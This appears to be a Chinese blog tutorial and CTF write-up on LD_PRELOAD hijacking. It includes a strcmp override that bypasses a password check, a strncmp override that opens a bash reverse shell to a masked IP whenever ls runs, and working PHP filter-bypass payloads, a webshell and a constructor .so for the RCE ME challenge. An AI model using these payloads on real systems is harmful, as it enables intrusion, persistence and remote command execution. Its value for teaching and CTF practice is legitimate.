LD_PRELOAD劫持
介绍
- 最近在准备长城杯线下赛的时候,看到一个知识点,是关于LD_PRELOAD的,突然发现自己在这方面一点都不知道,我记得之前春秋杯吧,还是哪个比赛,出过一道这个关于LD_PRELOAD的题目,所以今天就来补补课吧!
- ```txt
LD_PRELOAD is an environment variable in Linux (and other Unix-like systems) that lets you load a shared library (.so file) before any other libraries
when a program runs. Think of it like putting your code at the front of the line.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
- 这一段是gemini对于什么是**LD_PRELOAD**的解释。简单来说,**LD_PRELOAD**就是一个动态的链接库,在linux和类unix操作系统里面存在的,一般以.so后缀结尾,主要作用是当执行程序的时候,会调用这里面的动态链接,来创建进程,这样可以提高程序运行的效率。
- 当然,这样也有一个很大的问题,就是当我们可以修改动态库里的函数,利用函数来反弹shell,或者执行恶意代码,那么就会有很大的安全隐患,接下来介绍一下吧。
-
- ## 漏洞示例
- ```C
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <given-password>\n", argv[0]);
return 0;
}
if (!strcmp(passwd, argv[1])) {
printf("\033[0;32;32mPassword Correct!\n\033[m");
return 1;
} else {
printf("\033[0;32;31mPassword Wrong!\n\033[m");
return 0;
}
}
一段简单的密码校验c语言程序
可以看到,当密码不是password的时候就会爆红,那么该如何利用LD_PRELOAD呢?
之前说过,当执行程序的时候,会自动调用LD_PRELOAD里的函数并开启进程,那么直接看一下这个二进制文件为哪些函数开启进程不就好了吗
可以看到,25行的函数就是我们的目标函数,为啥选它呢?因为它就在我们的程序里面用来判断密码的,而且overwrite比较方便
#include <stdlib.h> #include <string.h> int strcmp(const char *s1, const char *s2) { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); return 0; }
1
2
3
4
5
- 这样编译成.so文件之后利用命令
- ```bash
export LD_PRELOAD=$PWD/xxx.so就可以修改环境变量LD_PRELOAD 然后不管输入什么密码都不会报错
反弹shell
讲了一些不太实际的用处,再来讲一些有用的吧,比如如何反弹shell。一些黑客,在入侵一台服务器的时候,可能会希望只要管理员执行了某个命令,就可以直接反弹shell到我们的机子上,那么在linux运维中最常用的命令就是ls,我们来看看ls执行时会调用什么函数
Symbol table '.dynsym' contains 124 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_toupper_loc@GLIBC_2.3 (2) 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getenv@GLIBC_2.2.5 (3) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fgetfilecon@LIBSELINUX_1.0 (4) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigprocmask@GLIBC_2.2.5 (3) 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __snprintf_chk@GLIBC_2.3.4 (5) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND raise@GLIBC_2.2.5 (3) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.34 (6) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND abort@GLIBC_2.2.5 (3) 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3) 10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getfilecon_raw@LIBSELINUX_1.0 (4) 11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strncmp@GLIBC_2.2.5 (3) 12: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTable 13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND localtime_r@GLIBC_2.2.5 (3) 14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _exit@GLIBC_2.2.5 (3) 15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcpy@GLIBC_2.2.5 (3) 16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fpending@GLIBC_2.2.5 (3) 17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND isatty@GLIBC_2.2.5 (3) 18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigaction@GLIBC_2.2.5 (3) 19: 0000000000000000 0 FUNC GLOBAL DEFAULT UND iswcntrl@GLIBC_2.2.5 (3) 20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND reallocarray@GLIBC_2.26 (7) 21: 0000000000000000 0 FUNC GLOBAL DEFAULT UND localeconv@GLIBC_2.2.5 (3) 22: 0000000000000000 0 FUNC GLOBAL DEFAULT UND faccessat@GLIBC_2.4 (8) 23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND readlink@GLIBC_2.2.5 (3) 24: 0000000000000000 0 FUNC GLOBAL DEFAULT UND clock_gettime@GLIBC_2.17 (9) 25: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setenv@GLIBC_2.2.5 (3) 26: 0000000000000000 0 FUNC GLOBAL DEFAULT UND textdomain@GLIBC_2.2.5 (3) 27: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fclose@GLIBC_2.2.5 (3) 28: 0000000000000000 0 FUNC GLOBAL DEFAULT UND opendir@GLIBC_2.2.5 (3) 29: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpwuid@GLIBC_2.2.5 (3) 30: 0000000000000000 0 FUNC GLOBAL DEFAULT UND bindtextdomain@GLIBC_2.2.5 (3) 31: 0000000000000000 0 FUNC GLOBAL DEFAULT UND listxattr@GLIBC_2.3 (2) 32: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dcgettext@GLIBC_2.2.5 (3) 33: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_get_mb_cur_max@GLIBC_2.2.5 (3) 34: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (3) 35: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (8) 36: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getopt_long@GLIBC_2.2.5 (3) 37: 0000000000000000 0 FUNC GLOBAL DEFAULT UND freecon@LIBSELINUX_1.0 (4) 38: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strchr@GLIBC_2.2.5 (3) 39: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgrgid@GLIBC_2.2.5 (3) 40: 0000000000000000 0 FUNC GLOBAL DEFAULT UND snprintf@GLIBC_2.2.5 (3) 41: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __overflow@GLIBC_2.2.5 (3) 42: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strrchr@GLIBC_2.2.5 (3) 43: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gmtime_r@GLIBC_2.2.5 (3) 44: 0000000000000000 0 FUNC GLOBAL DEFAULT UND lseek@GLIBC_2.2.5 (3) 45: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __assert_fail@GLIBC_2.2.5 (3) 46: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fnmatch@GLIBC_2.2.5 (3) 47: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.2.5 (3) 48: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ioctl@GLIBC_2.2.5 (3) 49: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strnlen@GLIBC_2.2.5 (3) 50: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getcwd@GLIBC_2.2.5 (3) 51: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mbrtoc32@GLIBC_2.16 (10) 52: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strspn@GLIBC_2.2.5 (3) 53: 0000000000000000 0 FUNC GLOBAL DEFAULT UND closedir@GLIBC_2.2.5 (3) 54: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcmp@GLIBC_2.2.5 (3) 55: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _setjmp@GLIBC_2.2.5 (3) 56: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs_unlocked@GLIBC_2.2.5 (3) 57: 0000000000000000 0 FUNC GLOBAL DEFAULT UND rawmemchr@GLIBC_2.2.5 (3) 58: 0000000000000000 0 FUNC GLOBAL DEFAULT UND calloc@GLIBC_2.2.5 (3) 59: 0000000000000000 0 FUNC GLOBAL DEFAULT UND signal@GLIBC_2.2.5 (3) 60: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dirfd@GLIBC_2.2.5 (3) 61: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputc_unlocked@GLIBC_2.2.5 (3) 62: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpwnam@GLIBC_2.2.5 (3) 63: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __memcpy_chk@GLIBC_2.3.4 (5) 64: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigemptyset@GLIBC_2.2.5 (3) 65: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 66: 0000000000000000 0 FUNC GLOBAL DEFAULT UND stat@GLIBC_2.33 (11) 67: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcpy@GLIBC_2.14 (12) 68: 0000000000000000 0 FUNC GLOBAL DEFAULT UND lgetfilecon_raw@LIBSELINUX_1.0 (4) 69: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgrnam@GLIBC_2.2.5 (3) 70: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __isoc23_strtoumax@GLIBC_2.38 (13) 71: 0000000000000000 0 FUNC GLOBAL DEFAULT UND tzset@GLIBC_2.2.5 (3) 72: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fileno@GLIBC_2.2.5 (3) 73: 0000000000000000 0 FUNC GLOBAL DEFAULT UND tcgetpgrp@GLIBC_2.2.5 (3) 74: 0000000000000000 0 FUNC GLOBAL DEFAULT UND readdir@GLIBC_2.2.5 (3) 75: 0000000000000000 0 FUNC GLOBAL DEFAULT UND wcwidth@GLIBC_2.2.5 (3) 76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fflush@GLIBC_2.2.5 (3) 77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND nl_langinfo@GLIBC_2.2.5 (3) 78: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcoll@GLIBC_2.2.5 (3) 79: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mktime@GLIBC_2.2.5 (3) 80: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __freading@GLIBC_2.2.5 (3) 81: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite_unlocked@GLIBC_2.2.5 (3) 82: 0000000000000000 0 FUNC GLOBAL DEFAULT UND realloc@GLIBC_2.2.5 (3) 83: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setlocale@GLIBC_2.2.5 (3) 84: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (5) 85: 0000000000000000 0 FUNC GLOBAL DEFAULT UND statx@GLIBC_2.28 (14) 86: 0000000000000000 0 FUNC GLOBAL DEFAULT UND timegm@GLIBC_2.2.5 (3) 87: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strftime@GLIBC_2.2.5 (3) 88: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mempcpy@GLIBC_2.2.5 (3) 89: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memmove@GLIBC_2.2.5 (3) 90: 0000000000000000 0 FUNC GLOBAL DEFAULT UND error@GLIBC_2.2.5 (3) 91: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fseeko@GLIBC_2.2.5 (3) 92: 0000000000000000 0 FUNC GLOBAL DEFAULT UND unsetenv@GLIBC_2.2.5 (3) 93: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __cxa_atexit@GLIBC_2.2.5 (3) 94: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getxattr@GLIBC_2.3 (2) 95: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gethostname@GLIBC_2.2.5 (3) 96: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigismember@GLIBC_2.2.5 (3) 97: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (3) 98: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.2.5 (3) 99: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fprintf_chk@GLIBC_2.3.4 (5) 100: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable 101: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getfilecon@LIBSELINUX_1.0 (4) 102: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fflush_unlocked@GLIBC_2.2.5 (3) 103: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mbsinit@GLIBC_2.2.5 (3) 104: 0000000000000000 0 FUNC GLOBAL DEFAULT UND lgetfilecon@LIBSELINUX_1.0 (4) 105: 0000000000000000 0 FUNC GLOBAL DEFAULT UND iswprint@GLIBC_2.2.5 (3) 106: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fgetfilecon_raw@LIBSELINUX_1.0 (4) 107: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigaddset@GLIBC_2.2.5 (3) 108: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_tolower_loc@GLIBC_2.3 (2) 109: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_b_loc@GLIBC_2.3 (2) 110: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __sprintf_chk@GLIBC_2.3.4 (5) 111: 0000000000026560 8 OBJECT GLOBAL DEFAULT 26 obstack_alloc_failed_handler 112: 00000000000265e8 8 OBJECT GLOBAL DEFAULT 27 stdout@GLIBC_2.2.5 (3) 113: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.2.5 (3) 114: 00000000000265e0 8 OBJECT GLOBAL DEFAULT 27 __progname@GLIBC_2.2.5 (3) 115: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (3) 116: 0000000000026608 8 OBJECT WEAK DEFAULT 27 program_invocation_name@GLIBC_2.2.5 (3) 117: 0000000000000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.2.5 (3) 118: 0000000000026608 8 OBJECT GLOBAL DEFAULT 27 __progname_full@GLIBC_2.2.5 (3) 119: 00000000000265e0 8 OBJECT WEAK DEFAULT 27 program_invocation_short_name@GLIBC_2.2.5 (3) 120: 0000000000026620 8 OBJECT GLOBAL DEFAULT 27 stderr@GLIBC_2.2.5 (3) 121: 00000000000265f0 4 OBJECT GLOBAL DEFAULT 27 optind@GLIBC_2.2.5 (3) 122: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcmp@GLIBC_2.2.5 (3) 123: 0000000000026600 8 OBJECT GLOBAL DEFAULT 27 optarg@GLIBC_2.2.5 (3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
- 可以看到有很多函数,我们还是寻找一些c语言中调用的函数吧,125行 strncmp可以作为跳板
- 编写exp
- ```C
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.xxx/xxxx 0>&1'");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}这样的话只要执行ls命令就会开启进程,执行strncmp函数,就会执行我们的overwrite写的东西。
成功反弹shell!
[极客大挑战 2019]RCE ME
最后来看一个实际应用吧,buuoj上的[极客大挑战 2019]RCE ME。这道题其实还有其他解,但是主要是讲LD_PRELOAD所以别的解法就自行google。
打开网站,就是源码
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } // ?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
- 直接异或phpinfo()查看一下信息?code=(~%8F%97%8F%96%91%99%90)();
- 
- 可以看到过滤了很多函数,但是没有过滤mail和error_log函数,这两个是利用的关键函数。
- ```php
<?php
$str1 = 'assert';
echo urlencode(~$str1);
$str2 = '(eval($_POST[cmd]))';
echo '\n';
echo urlencode(~$str2);直接蚁剑连接,
{:height 476, :width 705}
flag有大小,但是打开是空的,说明我们看不了,查看tmp目录,发现可以上传文件,那就把我们的.so文件上传上去,
#include <stdio.h> #include <unistd.h> #include <stdlib.h> static void hack(void) __attribute__((constructor)); static void hack(void) { unsetenv("LD_PRELOAD"); system("/readflag > /tmp/st3r"); }
1
2
3
4
5
6
7
8
9
10
- 简单解释一下,__attribute__((constructor))这个标志的意思就是,我不修改LD_PRELOAD库里的函数,我直接把我自定义的hack函数提到最前面,意思就是在调用LD_PRELOAD里面的函数之前,先调用我的方法。
- 然后在/tmp目录下写一个php的文件来调用LD_PRELOAD
- ```php
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
mail("" , "" , "" , "");
?>最后通过异或来包含这个文件就可以自动执行/readflag命令并且把flag输出到/tmp/st3r
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/st3r.php%27)
flag{c18f3d4d-b723-4729-bb1c-37b3d21dcebd}
当然也可以直接上传这位师傅的php文件,只是最后请求url会长一些,我因为还不是特别熟悉,所以选择自己写脚本https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
LD_PRELOAD劫持
http://st3r665.github.io/2025/03/12/LD-PRELOAD劫持/